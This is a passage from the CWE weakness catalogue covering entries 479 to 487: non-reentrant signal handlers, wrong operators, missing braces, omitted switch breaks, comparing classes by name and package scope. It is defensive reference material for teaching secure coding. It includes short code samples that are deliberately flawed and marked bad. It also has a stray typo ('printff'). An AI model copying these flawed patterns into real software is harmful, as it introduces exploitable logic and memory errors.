However, this code assumes that the value of the points input parameter will always be 0, 1 or 2 and does not check for other incorrect values passed to the method. This can be easily accomplished by providing a default label in the switch statement that outputs an error message indicating an invalid value for the points input parameter and returning a null value.

Example Language: Java *(good)*

```
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
    BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
    switch (points) {
        case 0:
            result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
            break;
        case 1:
            result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
            break;
        case 2:
            result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
            break;
        default:
            System.err.println("Invalid value for points, must be 0, 1 or 2");
            System.err.println("Returning null value for interest rate");
            result = null;
    }
    return result;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to account for default case in switch
Software Fault Patterns	SFP4		Unchecked Status Condition

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-479: Signal Handler Use of a Non-reentrant Function

Weakness ID : 479 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program defines a signal handler that calls a non-reentrant function.

Extended Description

Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state and unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.

Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as "scratch space." If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1290

Nature	Type	ID	Name	Page
ChildOf	B	828	Signal Handler with Functionality that is not Asynchronous-Safe	1528
CanPrecede	B	123	Write-what-where Condition	296

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	429	Handler Errors	1866

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *It may be possible to execute arbitrary code through the use of a write-what-where condition.*	
Integrity	Modify Application Data *Signal race conditions often result in data corruption.*	

Potential Mitigations

Phase: Requirements

Require languages or libraries that provide reentrant functionality, or otherwise make it easier to avoid this weakness.

Phase: Architecture and Design

Design signal handlers to only set flags rather than perform complex functionality.

Phase: Implementation

Ensure that non-reentrant functions are not found in signal handlers.

Phase: Implementation

Use sanity checks to reduce the timing window for exploitation of race conditions. This is only a partial solution, since many attacks might fail, but other attacks still might work within the narrower window, even accidentally.

Effectiveness = Defense in Depth

Demonstrative Examples

Example 1:

In this example, a signal handler uses syslog() to log a message:

Example Language: *(bad)*

```
char *message;
void sh(int dummy) {
    syslog(LOG_NOTICE,"%s\n",message);
    sleep(10);
    exit(0);
}
int main(int argc,char* argv[]) {
    ...
    signal(SIGHUP,sh);
```

```
    signal(SIGTERM,sh);
    sleep(10);
    exit(0);
}
```

If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.

Observed Examples

Reference	Description
CVE-2005-0893	signal handler calls function that ultimately uses malloc() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0893*
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2259*

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	745	CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)	734	1889
MemberOf	C	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	1903
MemberOf	C	879	CERT C++ Secure Coding Section 11 - Signals (SIG)	868	1919
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
MemberOf	C	1166	SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)	1154	2000

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unsafe function call from a signal handler
CERT C Secure Coding	SIG30-C	Exact	Call only asynchronous-safe functions within signal handlers
CERT C Secure Coding	SIG34-C		Do not call signal() from within interruptible signal handlers
The CERT Oracle Secure Coding Standard for Java (2011)	EXP01-J		Never dereference null pointers
Software Fault Patterns	SFP3		Use of an improper API

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-480: Use of Incorrect Operator

Weakness ID : 480 **Status:** Draft

Structure : Simple
Abstraction : Base

Description

The programmer accidentally uses the wrong operator, which changes the application logic in security-relevant ways.

Extended Description

These types of errors are generally the result of a typo.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1308
ParentOf	V	481	Assigning instead of Comparing	1026
ParentOf	V	482	Comparing instead of Assigning	1029
ParentOf	V	597	Use of Wrong Operator in String Comparison	1189

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867
MemberOf	C	569	Expression Issues	1870

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Perl *(Prevalence = Sometimes)*

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic *This weakness can cause unintended logic to be executed and other unexpected application behavior.*	

Detection Methods

Automated Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Manual Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Demonstrative Examples

Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

Example Language: C *(bad)*

```
int isValid(int value) {
    if (value=100) {
        printf("Value is valid\n");
        return(1);
    }
    printf("Value is not valid\n");
    return(0);
}
```

Example Language: C# *(bad)*

```
bool isValid(int value) {
    if (value=100) {
        Console.WriteLine("Value is valid.");
        return true;
    }
    Console.WriteLine("Value is not valid.");
    return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

Example Language: C *(bad)*

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
    p1++;
    if(p1==(tos+SIZE)) {
        // Print stack overflow error message and exit
    }
    *p1 == i;
}
int pop(void) {
    if(p1==tos) {
        // Print stack underflow error message and exit
    }
    p1--;
    return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
    p1 = stack;
    // code to add and remove items from stack
    ...
    return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	1891
MemberOf	C	871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	868	1914
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using the wrong operator
CERT C Secure Coding	EXP45-C	CWE More Abstract	Do not perform assignments in selection statements
CERT C Secure Coding	EXP46-C	CWE More Abstract	Do not use a bitwise operator with a Boolean-like operand
Software Fault Patterns	SFP1		Glitch in Computation

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-481: Assigning instead of Comparing

Weakness ID : 481 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The code uses an operator for assignment when the intention was to perform a comparison.

Extended Description

In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1023
CanPrecede	P	697	Incorrect Comparison	1350

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

Potential Mitigations

Phase: Testing

Many IDEs and static analysis products will detect this problem.

Phase: Implementation

Place constants on the left. If one attempts to assign a constant with a variable, the compiler will of course produce an error.

Demonstrative Examples

Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

Example Language: C *(bad)*

```
int isValid(int value) {
    if (value=100) {
        printf("Value is valid\n");
        return(1);
    }
    printf("Value is not valid\n");
    return(0);
}
```

Example Language: C# *(bad)*

```
bool isValid(int value) {
    if (value=100) {
        Console.WriteLine("Value is valid.");
        return true;
    }
    Console.WriteLine("Value is not valid.");
    return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2:

In this example, we show how assigning instead of comparing can impact code when values are being passed by reference instead of by value. Consider a scenario in which a string is being processed from user input. Assume the string has already been formatted such that different user inputs are concatenated with the colon character. When the processString function is called, the test for the colon character will result in an insertion of the colon character instead, adding new input separators. Since the string was passed by reference, the data sentinels will be inserted in the original string (CWE-464), and further processing of the inputs will be altered, possibly malformed..

Example Language: C *(bad)*

```
void processString (char *str) {
    int i;
    for(i=0; i<strlen(str); i++) {
        if (isalnum(str[i])){
            processChar(str[i]);
        }
        else if (str[i] = ':') {
            movingToNewInput();}
        }
    }
}
```

Example 3:

The following Java example attempts to perform some processing based on the boolean value of the input parameter. However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". As with the previous examples, the variable will be reassigned locally and the expression in the if statement will evaluate to true and unintended processing may occur.

Example Language: Java *(bad)*

```
public void checkValid(boolean isValid) {
    if (isValid = true) {
        System.out.println("Performing processing");
        doSomethingImportant();
    }
    else {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
}
```

While most Java compilers will catch the use of an assignment operator when a comparison operator is required, for boolean variables in Java the use of the assignment operator within an expression is allowed. If possible, try to avoid using comparison operators on boolean variables in java. Instead, let the values of the variables stand for themselves, as in the following code.

Example Language: Java *(good)*

```
public void checkValid(boolean isValid) {
    if (isValid) {
        System.out.println("Performing processing");
        doSomethingImportant();
```

```
    }
    else {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
}
```

Alternatively, to test for false, just use the boolean NOT operator.

Example Language: Java *(good)*

```
public void checkValid(boolean isValid) {
    if (!isValid) {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
    System.out.println("Performing processing");
    doSomethingImportant();
}
```

Example 4:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
void called(int foo){
    if (foo=1) printf("foo\n");
}
int main() {
    called(2);
    return 0;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Assigning instead of comparing
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	EXP45-C	CWE More Abstract	Do not perform assignments in selection statements

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-482: Comparing instead of Assigning

Weakness ID : 482 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The code uses an operator for comparison when the intention was to perform an assignment.

Extended Description

In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1023

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability Integrity	Unexpected State *The assignment will not take place, which should cause obvious program execution problems.*	

Potential Mitigations

Phase: Testing

Many IDEs and static analysis products will detect this problem.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(bad)*

```
void called(int foo) {
    foo==1;
    if (foo==1) System.out.println("foo\n");
}
int main() {
    called(2);
    return 0;
}
```

Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

Example Language: C *(bad)*

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
    p1++;
    if(p1==(tos+SIZE)) {
        // Print stack overflow error message and exit
    }
    *p1 == i;
}
int pop(void) {
    if(p1==tos) {
        // Print stack underflow error message and exit
    }
    p1--;
    return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
    p1 = stack;
    // code to add and remove items from stack
    ...
    return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	1891
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	C	886	SFP Primary Cluster: Unused entities	888	1922

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Comparing instead of assigning
Software Fault Patterns	SFP2		Unused Entities

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-483: Incorrect Block Delimitation

Weakness ID : 483 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.

Extended Description

In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1308

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Alter Execution Logic *This is a general logic error which will often lead to obviously-incorrect behaviors that are quickly noticed and fixed. In lightly tested or untested code, this error may be introduced it into a production environment and provide additional attack vectors by creating a control flow path leading to an unexpected state in the application. The consequences will depend on the types of behaviors that are being incorrectly executed.*	

Potential Mitigations

Phase: Implementation

Always use explicit block delimitation and use static-analysis technologies to enforce this practice.

Demonstrative Examples

Example 1:

In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Example Language: C *(bad)*

```
if (condition==true)
    Do_X();
    Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 2:

In this example, the programmer has indented the Do_Y() statement as if the intention is that the function should be associated with the preceding conditional and should only be called when the condition is true. However, because Do_X() was called on the same line as the conditional and there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Example Language: C *(bad)*

```
if (condition==true) Do_X();
    Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Observed Examples

Reference	Description
CVE-2014-1266	incorrect indentation of "goto" statement makes it more difficult to detect an incorrect goto (Apple's "goto fail") *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1266*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Incorrect block delimitation

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-484: Omitted Break Statement in Switch

Weakness ID : 484 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The program omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.

Extended Description

This can lead to critical code executing in situations where it should not.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		670	Always-Incorrect Control Flow Implementation	1308
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic *This weakness can cause unintended logic to be executed and other unexpected application behavior.*	

Detection Methods

White Box

Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected program behavior is required to interpret whether the code is correct.

Black Box

Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.

Potential Mitigations

Phase: Implementation

Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.

Phase: Implementation

The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.

Demonstrative Examples

Example 1:

In both of these examples, a message is printed based on the month passed into the function:

Example Language: Java *(bad)*

```
public void printMessage(int month){
    switch (month) {
        case 1: print("January");
        case 2: print("February");
        case 3: print("March");
        case 4: print("April");
        case 5: print("May");
        case 6: print("June");
        case 7: print("July");
        case 8: print("August");
        case 9: print("September");
        case 10: print("October");
        case 11: print("November");
        case 12: print("December");
    }
    println(" is a great month");
}
```

Example Language: C *(bad)*

```
void printMessage(int month){
    switch (month) {
        case 1: printf("January");
        case 2: printf("February");
        case 3: printf("March");
        case 4: printf("April");
        case 5: printff("May");
        case 6: printf("June");
        case 7: printf("July");
        case 8: printf("August");
        case 9: printf("September");
        case 10: printf("October");
        case 11: printf("November");
        case 12: printf("December");
    }
    printf(" is a great month");
}
```

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Omitted break statement
Software Fault Patterns	SFP4		Unchecked Status Condition

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-486: Comparison of Classes by Name

Weakness ID : 486 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.

Extended Description

If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1025	Comparison Using Wrong Factors	1638
PeerOf	B	386	Symbolic Name not Mapping to Correct Object	844

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
Confidentiality Availability	*If a program relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.*	

Potential Mitigations

Phase: Implementation

Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.

Demonstrative Examples

Example 1:

In this example, the expression in the if statement compares the class of the inputClass object to a trusted class by comparing the class names.

Example Language: Java *(bad)*

```
if (inputClass.getClass().getName().equals("TrustedClassName")) {
    // Do something assuming you trust inputClass
    // ...
}
```

However, multiple classes can have the same name therefore comparing an object's class by name can allow untrusted classes of the same name as the trusted class to be use to execute unintended or incorrect code. To compare the class of an object to the intended class the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Example Language: Java *(good)*

```
if (inputClass.getClass() == TrustedClass.class) {
    // Do something assuming you trust inputClass
    // ...
}
```

Example 2:

In this example, the Java class, TrustedClass, overrides the equals method of the parent class Object to determine equivalence of objects of the class. The overridden equals method first determines if the object, obj, is the same class as the TrustedClass object and then compares the object's fields to determine if the objects are equivalent.

Example Language: Java *(bad)*

```
public class TrustedClass {
    ...
    @Override
    public boolean equals(Object obj) {
        boolean isEquals = false;
        // first check to see if the object is of the same class
        if (obj.getClass().getName().equals(this.getClass().getName())) {
            // then compare object fields
            ...
            if (...) {
                isEquals = true;
            }
        }
        return isEquals;
    }
    ...
}
```

However, the equals method compares the class names of the object, obj, and the TrustedClass object to determine if they are the same class. As with the previous example using the name of the class to compare the class of objects can lead to the execution of unintended or incorrect code if the object passed to the equals method is of another class with the same name. To compare the class of an object to the intended class, the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

Example Language: Java *(good)*

```
public boolean equals(Object obj) {
    ...
    // first check to see if the object is of the same class
    if (obj.getClass() == this.getClass()) {
        ...
    }
    ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	1868
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	1904
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	1986

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Comparing Classes by Name
CLASP			Comparing classes by name
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ09-J		Compare classes and not class names
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-487: Reliance on Package-level Scope

Weakness ID : 487 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.

Extended Description

The purpose of package scope is to prevent accidental access by other parts of a program. This is an ease-of-software-development feature but not a security feature.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
